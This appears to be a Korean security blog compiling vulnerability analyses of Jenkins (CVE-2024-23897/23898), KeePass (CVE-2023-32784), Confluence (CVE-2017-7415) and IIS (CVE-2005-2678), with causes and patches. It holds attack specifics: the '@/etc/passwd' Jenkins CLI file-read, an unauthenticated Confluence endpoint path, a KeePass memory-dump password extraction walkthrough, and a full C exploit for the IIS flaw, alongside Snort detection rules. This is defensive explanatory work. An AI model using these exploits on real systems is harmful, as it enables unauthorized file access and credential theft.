1. Jenkins [1][2]

- CI/CD(Continuous Integration/Continuous Delivery) 중 하나
- 빌드, 테스트, 배포 프로세스를 자동화하여 소프트웨어 품질 및 개발 생산성 향상에 도움을 줌

 

2. 취약점

2.1 CVE-2024-23897 [3]

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-23897 [4]

 

- 취약한 버전의 Jenkins에서 인증없이 임의의 파일 내용 일부(또는 전체)를 읽어낼 수 있는 취약점

> CLI 기능 구현을 위해 사용하는 args4j 라이브러리의 명령 인수 및 옵션 파싱 부분에서 취약점이 발생

> 명령 인수 구문 분석을 용이하게 하기 위한 기능인 @ 문자와 파일 경로를 파일 내용으로 자동으로 바꾸는 CLI 기능에서 발생

> 또한, "Allow anonymous read access" 기능이 활성화 되어있는 경우 취약

> 현재 45,000개의 Jenkins 서버가 공격에 노출되어 있는 상황

- 영향받는 버전
Jenkins 2.441 이전 및 LTS 2.426.2 이전 버전

 

- Jenkins는 다양한 인증 방법을 제공

> "누구나 무엇이든 할 수 있음", "로그인한 사용자가 무엇이든 할 수 있음", "익명 읽기 엑서스 허용" 등

> "익명 읽기 엑서스 허용" 옵션은 모든 사람에게 전체 읽기 권한을 부여

[사진 2] 취약한 설정

 

- 또한, Jenkins-CLI는 사용자 지정 명령을 실행할 수 있는 내장 명령줄 인터페이스를 사용자에게 제공 [5][6]

> CLI를 호출하는 방법은 jenkins-cli.jar(웹 소켓 사용), SSH 사용한 명령 호출, hxxp://jenkins/cli?remoting=false에 POST 요청 전송의 방법이 있음

> 그 중 ExpandAtFiles()는 인수가 "@"로 시작하는지 확인 후 @ 뒤 경로에서 파일을 읽고 출력

[사진 3]  ExpandAtFiles()

 

- [사진 2] 및 [사진 3]에 의해 공격자가 원하는 임의 파일에 접근해 내용을 볼 수 있음

>  @/etc/passwd 파일을 요청할 경우 해당 파일의 내용을 반환

> 공격자가 “Overall/Read” 권한일 경우 취약 서버의 전체 파일을 읽을 수 있으며, 해당 권한이 없을 경우 파일의 처음 세 줄을 읽을 수 있음

[사진 4] 공격 예시

 

- 공개된 PoC (hxxp://jenkins/cli?remoting=false URL 이용)와 jenkins-cli.jar를 이용한 결과 비교 [7]

> PoC의 경우 Timed Out 오류 발생(원인 불명), jenkins-cli.jar의 경우 파일 내용이 노출

> [사진 2]에서 "익명 읽기 엑세스 허용" 비활성화 시 Overall/Read 권한이 없다는 에러 출력

※ hxxp://localhost:8080/jnlpJars/jenkins-cli.jar에서 다운 가능

[사진 5] PoC 결과 (위) 및 jenkins-cli.jar 결과 (아래)

 

[사진 6] 패킷 캡쳐

 

2.2 CVE-2024-23898

[사진 7] https://nvd.nist.gov/vuln/detail/CVE-2024-23898 [8]

 

- jenkins-cli.jar를 사용해 CLI 명령 실행 시 원본 유효성 검증(Jenkins-crumb(CSRF 토큰) 또는 Origin 헤더)이 없어 발생하는 취약점

> 사이트 간 웹소켓 하이재킹(CSWSH) 취약성이 발생하여 공격자가 Jenkins 컨트롤러에서 CLI 명령을 실행

> [사진 5] 중 "jenkins-cli.jar (아래)" 참고

- 영향받는 버전
Jenkins 2.441 이전 및 LTS 2.426.2 이전 버전

 

3. 대응방안

- 벤더사 제공 패치 적용 [9]

> "expandAtFiles" 기능을 비활성화하는 보안 구성을 추가하여 CVE-2024-23897을 패치

> WebSocket 엔드포인트에 원본 확인 과정을 추가해 CVE-2024-23898을 패치

> 패치가 어려운 경우 CLI에 대한 엑세스를 비활성화

취약점 영향받는 버전 패치 버전
CVE-2024-23897
CVE-2024-23898
Jenkins 2.441 이전 및 LTS 2.426.2 이전 버전 2.442와 LTS 2.426.3

 

- Jenkins 서버 외부 노출 차단 및 취약점 모니터링

탐지 문자열 URL: /cli?remoting=false
HTTP Body: help, @
※ [사진 6] 참고

 

4. 참고

[1] https://www.jenkins.io/
[2] https://onestone-note.tistory.com/38#7.%207.%C2%A0%20Jenkins%C2%A0%20%EC%8B%A4%EC%8A%B5
[3] https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/?utm_medium=social&utm_source=twitter&utm_campaign=research&utm_content=blog-excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins-240125-p1
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-23897
[5] https://www.jenkins.io/doc/book/managing/cli/
[6] https://github.com/jenkinsci/jenkins/tree/master/core/src/main/java/hudson/cli
[7] https://github.com/Vozec/CVE-2024-23897
[8] https://nvd.nist.gov/vuln/detail/CVE-2024-23898
[9] https://www.jenkins.io/security/advisory/2024-01-24/#security-3314
[10] https://www.horizon3.ai/cve-2024-23897-assessing-the-impact-of-the-jenkins-arbitrary-file-leak-vulnerability/
[11] https://devhackdebug.com/2024/01/29/cve-2024-23897-jenkins-rce-vulnerabilities/
[12] https://medium.com/@red_darkin/how-to-replicate-jenkins-cve-2024-23897-arbitrary-file-read-vulnerability-260c8174dd94
[13] https://www.bleepingcomputer.com/news/security/45k-jenkins-servers-exposed-to-rce-attacks-using-public-exploits/
[14] https://www.bleepingcomputer.com/news/security/exploits-released-for-critical-jenkins-rce-flaw-patch-now/#google_vignette
[15] https://www.boannews.com/media/view.asp?idx=126195&kind=1&search=title&find=%C1%A8%C5%B2%BD%BA
[16] https://www.boannews.com/media/view.asp?idx=126273&kind=1&search=title&find=%C1%A8%C5%B2%BD%BA

1. KeePass [1]

- 오픈소스로 작성된 비밀번호 관리 프로그램

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-32784 [2]

- KeePass 메모리 덤프를 이용해 마스터 비밀번호를 탈취할 수 있는 취약점

- 공격자가 메모리 덤프에 접근하게 되었다는 것은 이미 PC가 일정부분 공격자에게 탈취되었다는 의미

영향받는 버전: KeePass 2.54 이전 2.x 버전

 

2.1 실습

- KeePass 다운로드 후 File > New를 선택해 데이터베이스 생성

> Windows용 2.53.1 버전 사용

[사진 2] 데이터베이스 생성

 

- 데이터베이스를 여는데 사용할 마스터 비밀번호 설정

> 마스터 비밀번호는 데이터베이스에 접속하기 위한 비밀번호로, [사진 4]와 같이 데이터베이스 접속 시 입력해야하는 값

> 해당 마스터 비밀번호 하나로 모든 비밀번호를 관리

[사진 3] 마스터 비밀번호 설정

 

[사진 4] 데이터베이스 접속

 

- KeePass 프로세스 메모리 덤프 수행

> 작업관리자를 통해 메모리 덤프 진행

[사진 5] 메모리 덤프 수행

 

- 공개된 PoC를 [4] 사용한 결과 마스터 비밀번호를 추출됨

> 완전한 형태의 마스터 비밀번호는 아니지만 출력 결과를 통해 누락된 문자를 유추할 수 있음

> 마스터 비밀번호를 탈취한 공격자는 저장된 모든 자격 증명에 엑세스가 가능해짐

[사진 6] 마스터 비밀번호 추출

3. 대응방안

① 벤더사에서 제공하는 업데이트 적용

- 23.06 ~ 23.07 해당 취약점이 패치된 2.54 버전 발포 예정

> 현재 포럼을 통해 취약점이 해결된 테스트 버전을 배포 [5]

> 공개된 테스트 버전에 대해서는 PoC가 적용되지 않음을 확인

> 또한, 마스터 비밀번호가 메모리에 남아있을 수도 있으므로 시스템 변경, 데이터 덮어쓰기 등을 권고

수정내역
1. 텍스트 상자의 텍스트를 가져오거나 설정하기 위한 직접 API 호출을 실행하여 비밀이 누출될 수 있는 관리 대상 스트링 생성을 피합니다.
2. 프로세스 메모리에 무작위 문자가 포함된 더미 플래그먼트를 만듭니다.이 더미 플래그먼트는 사용자의 마스터 암호와 거의 같은 길이가 되며 실제 키를 난독화합니다.

 

- 업데이트 적용이 불가한 경우 다른 비밀번호 관리 프로그램 사용

> KeePassXC, Strongbox, KeePass 1.X의 경우 해당 취약점에 영향을 받지 않음

 

4. 참고

[1] https://keepass.info/index.html 
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-32784
[3] https://github.com/vdohney/keepass-password-dumper
[4] https://github.com/CMEPW/keepass-dump-masterkey
[5] https://sourceforge.net/p/keepass/discussion/329220/thread/f3438e6283/
[6] https://www.bleepingcomputer.com/news/security/keepass-exploit-helps-retrieve-cleartext-master-password-fix-coming-soon/
[7] https://www.boannews.com/media/view.asp?idx=118268&page=3&kind=1
[8] https://skogkatt.tistory.com/entry/%ED%8C%A8%EC%8A%A4%EC%9B%8C%EB%93%9C-%EA%B4%80%EB%A6%AC-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%A8-keepass-%EC%84%A4%EC%B9%98-%EB%B0%8F-%EA%B8%B0%EB%B3%B8-%EC%82%AC%EC%9A%A9%EB%B0%A9%EB%B2%95

1. Confluence 

- 아틀라시안(Atlassian)에서 개발한 자바 기반의 소프트웨어

- 팀원들이 효율적으로 지식을 공유하고 협업할 수 있는 도구

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2017-7415

- Atlassian Confluence에서 원격 공격자가 인증을 우회하여 자원에 접근 가능한 취약점

영향받는 버전
6.0.0 <= Atlassian Confluence < 6.0.7

 

2.1 원인

- Exploit 코드

- 공격자들은 diff REST 리소스를 악용함

※ [사진 1]에서 초안 diff REST 리소스의 사용으로 발생한 것으로, 초안은 Default를 의미하는 것으로 판단됨.

rest/tinymce/1/content/<Page ID>/draft/diff

 

- 취약한 버전의 diff REST 리소스를 확인해보면, 익명의 사용자가 해당 경로에 액세스 할 수 있음을 확인 가능함

- 해당 자원에 접근하는 사용자에대한 권한 검증이 존재하지 않음.

※ 경로 : confluence_editors_6.0.6_plus_6.0.7\confluence-editor-6.0.6_source_from_cfr\com\atlassian\confluence\tinymceplugin\rest\PageResource.java

[사진 2] 취약한 버전(6.0.6)의 diff REST

 

- 공격자들은 rest/tinymce/1/content/<Page ID>/draft/diff URL을 통해 인증없이 Confluence의 모든 블로그 및 페이지의 현재 콘텐츠에 접근 가능

[사진 3] Exploit 예시

3. 대응방안

3.1 서버측면

① 벤더사에서 제공하는 최신 버전으로 업데이트 적용

- Confluence를 버전 6.1.0 이상으로 업그레이드 권장

 

② Confluence 6.1.0 버전으로 업데이트가 불가한 경우

- Confluence 6.0.X 실행 중이며, 최신 버전 업그레이드가 불가할 경우 6.0.7로 업그레이드

- permissionManager.hasPermission()를 통한 권한 검증 추가

- 사용자에게 권한이 없을 경우 NOT_FOUND(404 Error) 반환

※ 경로 : confluence_editors_6.0.6_plus_6.0.7\confluence-editor-6.0.7_source_from_cfr\com\atlassian\confluence\tinymceplugin\rest\PageResource.java

[사진 4] 6.0.7 diff REST

 

③ 기타 방안

- 공동 편집 기능 비활성화

[사진 5] 공동 편집 기능 비활성화 방법

3.2 네트워크 측면

① 탐지 정책 설정 및 적용

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2017-7415

https://github.com/allyshka/exploits/blob/c1f5f0dfa2494001e7c3cffabfbf0219b0e35e08/confluence/CVE-2017-7415/README.md

https://jira.atlassian.com/browse/CONFSERVER-52222

https://packetstormsecurity.com/files/142330/Confluence-6.0.x-Information-Disclosure.html

https://confluence.atlassian.com/doc/confluence-security-advisory-2017-04-19-887071137.html

1. IIS Server

- IIS : Internet Information Service

- 마이크로소프트 윈도우를 사용하는 서버들을 위한 인터넷 기반 서비스들의 모임

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2005-2678

- MS IIS 5.0, 5.1, 6.0에서 원격의 사용자가 SERVER_NAME 변수를 스푸핑

- IIS 500-100.asp 오류 페이지를 통해 잠재적으로 중요한 ASP 코드가 노출되는 취약점

영향받는 버전
- IIS 5.0, 5.1, 6.0

영향받는 플랫폼
- MS Windows 2000 with SP4
- MS Windows XP Professional with SP2
- MS Windows 2003 with SP1

 

2.1 분석

- IIS 5.x 버전은 "SERVER_NAME" 서버변수가 "localhost" 경우 중요 정보를 표시하는 취약점을 가짐

- "SERVER_NAME" 변수가 "localhost"일 때, ASP 페이지에 에러가 있는 경우 ASP의 오류코드가 브라우저를 통해 표시

- 원격의 공격자는 "SERVER_NAME" 변수를 "localhost"로 스푸핑하여 접근

[사진 2] 익스플로잇 예시

 

- 해당 취약점은 IIS 서버의 request.servervariables("SERVER_NAME")에서 발생

- 사용자 요청을 받은 경우 "SERVER_NAME"은 웹 서버 자체 IP 주소(혹은 localhost_자기 자신을 뜻함)를 반환

- localhost는 인증된 사용자가 웹 서버 자체에서 검색하고 있다는 것을 어플리케이션이나 서비스에 증명하는데 사용

- IIS 5.x 500-100.asp 페이지는 서버 변수를 사용해 오류가 발생한 코드의 표시 여부를 결정하므로 공격에 주로 사용됨

[사진 3] 출력되는 오류 메세지

 

- 이를 정리하면 다음과 같음

① IIS 5.x 버전에서 localhost는 서버에 접근 가능한 인증된 사용자를 의미
② "SERVER_NAME" 서버변수가 "localhost"를 반환한다는 점을 악용
③ 공격자는 HTTP 요청 메세지에 localhost를 섞어서 전송할
④ request.servervariables("SERVER_NAME")에 의해 인증된 사용자가 아님에도 인증된 사용자로 인식

 

2.2 PoC 분석

- HTTP 요청에 localhost을 삽입해 요청 전송

※ Host 헤더를 localhost로 변조하는것 또한 익스플로잇이 가능할것으로 판단됨.

#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")

//max size to socket buffer
#define LEN_BUF 2048
//socket status
#define Conectado 1868

void main(int argc, char *argv[])
{
	/*connect to a host throught a port*/
	int Conecta(char *Host, short puerto);
	//socket from the connection
	int socket;
	//to get the data received
	char buf[LEN_BUF];
	FILE *data;

	printf("\n                 Proof of Concept");
	printf("\n IIS 5.x and IIS 6.0 Server Name Spoof - by Lympex");
	printf("\nContact: lympex[at]gmail[dot]com - http://l-bytes.tk");
	printf("\n----------------------------------------------------\n");

	if(argc!=4)
	{
		printf("\n[+] Usage: %s server.com 80 /test.asp\n",argv[0]);return;
	}

	//conectamos
	socket=Conecta(argv[1],(short)atoi(argv[2]));

	if(socket==-1)
	{
		printf("\n[+] Error connecting to host\n");
		return;
	}printf("\n[+] Connected!\n");

	if((data=fopen("received_data.txt","w"))==NULL)
	{
		printf("\n[+] Error saving received data\n");
		WSACleanup();
		return;
	}

	/*send the EVIL REQUEST*/
	strcpy(buf,"GET http://localhost");strcat(buf,argv[3]);strcat(buf," HTTP/1.0\n\n");
	send(socket,buf,strlen(buf),0);

	//while we aren´t disconnected
	do
	{
		buf[recv(socket,buf,LEN_BUF,0)]='\0';
		fputs(buf,data);
	}while(socket==Conectado);

	WSACleanup();
	fclose(data);
	printf("\n[+] Received data, saved in: \x22received_data.txt\x22\n");
	return;
}

/*Connect to a host throught a port - by Lympex*/
int Conecta(char *Host, short puerto)
{
	/*para crear el socket*/
	WSADATA wsaData;
	SOCKET Winsock;//el que escucha
	/*estructura con los datos para realizar la conexion*/
	struct sockaddr_in Winsock_In;
	struct hostent *Ip;

	/*iniciamos el socket*/
	WSAStartup(MAKEWORD(2,2), &wsaData);
	/*asociamos*/
	Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
	
	//miramos si está correcto, y así no rellenamos la estructura Winsock_In para nada
	if(Winsock==INVALID_SOCKET)
	{
		/*salimos*/
		WSACleanup();
		return -1;
	}

	/*rellenamos la estructura*/
	Ip=gethostbyname(Host);
	Winsock_In.sin_port=htons(puerto);
	Winsock_In.sin_family=AF_INET;
	Winsock_In.sin_addr.s_addr=inet_addr(inet_ntoa(*((struct in_addr *)Ip->h_addr)));

	/*conectamos*/
	if(WSAConnect(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
	{
		/*salimos*/
		WSACleanup();
		return -1;
	}

	return Winsock;
}

 

3. 대응방안

① 해당 HTTP 요청을 탐지 가능한 정책 적용

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"GPL WEB_SERVER WEB-IIS Remote IIS Server Name spoof attempt loopback IP"; flow:to_server,established; content:"http|3a|//127.0.0.1"; pcre:"/http\x3A\/\/127\.0\.0\.1\/.*\.asp/i"; reference:cve,2005-2678; classtype:web-application-activity; sid:2100139; rev:5;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2005-2678

https://developer.aliyun.com/article/450934

https://fossies.org/linux/w3/resources/emerging-web_server.rules

https://www.exploit-db.com/exploits/1178

- http://www.hackersnews.org/hn//read.cgi?board=vul_top&nnew=2&y_number=2157

+ Recent posts